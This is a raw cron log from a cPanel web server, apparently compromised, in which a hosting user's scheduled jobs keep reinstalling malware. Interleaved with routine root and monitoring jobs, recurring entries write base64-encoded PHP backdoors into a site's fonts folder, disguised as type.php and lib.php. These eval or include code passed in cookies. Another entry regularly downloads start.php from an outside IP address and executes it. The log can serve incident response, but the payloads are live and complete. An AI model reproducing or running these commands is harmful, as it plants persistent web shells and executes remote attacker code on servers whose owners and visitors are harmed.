Sep  8 15:30:01 ip-184-168-122-23 CROND[9836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:30:01 ip-184-168-122-23 CROND[9841]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:30:01 ip-184-168-122-23 CROND[9846]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:30:01 ip-184-168-122-23 CROND[9849]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:30:01 ip-184-168-122-23 CROND[9848]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 15:30:01 ip-184-168-122-23 CROND[9847]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 15:30:01 ip-184-168-122-23 CROND[9850]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 15:31:01 ip-184-168-122-23 CROND[9938]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:31:01 ip-184-168-122-23 CROND[9940]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 15:31:01 ip-184-168-122-23 CROND[9941]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:31:01 ip-184-168-122-23 CROND[9942]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:31:01 ip-184-168-122-23 CROND[9943]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:32:01 ip-184-168-122-23 CROND[10036]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:32:01 ip-184-168-122-23 CROND[10040]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 15:32:01 ip-184-168-122-23 CROND[10039]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:32:01 ip-184-168-122-23 CROND[10038]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:32:01 ip-184-168-122-23 CROND[10041]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:33:01 ip-184-168-122-23 CROND[10124]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:33:01 ip-184-168-122-23 CROND[10126]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:33:01 ip-184-168-122-23 CROND[10125]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:33:01 ip-184-168-122-23 CROND[10127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:34:01 ip-184-168-122-23 CROND[10222]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:34:01 ip-184-168-122-23 CROND[10226]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:34:01 ip-184-168-122-23 CROND[10223]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 15:34:01 ip-184-168-122-23 CROND[10224]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:34:01 ip-184-168-122-23 CROND[10227]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:35:01 ip-184-168-122-23 CROND[10408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:35:01 ip-184-168-122-23 CROND[10410]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 15:35:01 ip-184-168-122-23 CROND[10416]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:35:02 ip-184-168-122-23 CROND[10413]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 15:35:02 ip-184-168-122-23 CROND[10414]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 15:35:02 ip-184-168-122-23 CROND[10415]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 15:35:02 ip-184-168-122-23 CROND[10418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:35:02 ip-184-168-122-23 CROND[10419]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:36:01 ip-184-168-122-23 CROND[10506]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:36:01 ip-184-168-122-23 CROND[10508]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:36:01 ip-184-168-122-23 CROND[10510]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 15:36:01 ip-184-168-122-23 CROND[10509]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:36:01 ip-184-168-122-23 CROND[10511]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:37:01 ip-184-168-122-23 CROND[10594]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:37:01 ip-184-168-122-23 CROND[10598]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:37:01 ip-184-168-122-23 CROND[10597]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:37:01 ip-184-168-122-23 CROND[10596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:38:01 ip-184-168-122-23 CROND[10690]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:38:01 ip-184-168-122-23 CROND[10693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:38:01 ip-184-168-122-23 CROND[10692]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 15:38:01 ip-184-168-122-23 CROND[10694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:38:01 ip-184-168-122-23 CROND[10695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:39:01 ip-184-168-122-23 CROND[10779]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:39:01 ip-184-168-122-23 CROND[10781]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:39:01 ip-184-168-122-23 CROND[10780]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:39:01 ip-184-168-122-23 CROND[10778]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:39:01 ip-184-168-122-23 CROND[10782]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 15:40:01 ip-184-168-122-23 CROND[10868]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 15:40:01 ip-184-168-122-23 CROND[10869]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 15:40:01 ip-184-168-122-23 CROND[10872]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 15:40:01 ip-184-168-122-23 CROND[10878]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 15:40:01 ip-184-168-122-23 CROND[10875]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:40:01 ip-184-168-122-23 CROND[10877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 15:40:01 ip-184-168-122-23 CROND[10876]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:40:01 ip-184-168-122-23 CROND[10879]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:41:01 ip-184-168-122-23 CROND[10970]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 15:41:01 ip-184-168-122-23 CROND[10972]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 15:41:01 ip-184-168-122-23 CROND[10973]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 15:41:01 ip-184-168-122-23 CROND[10975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
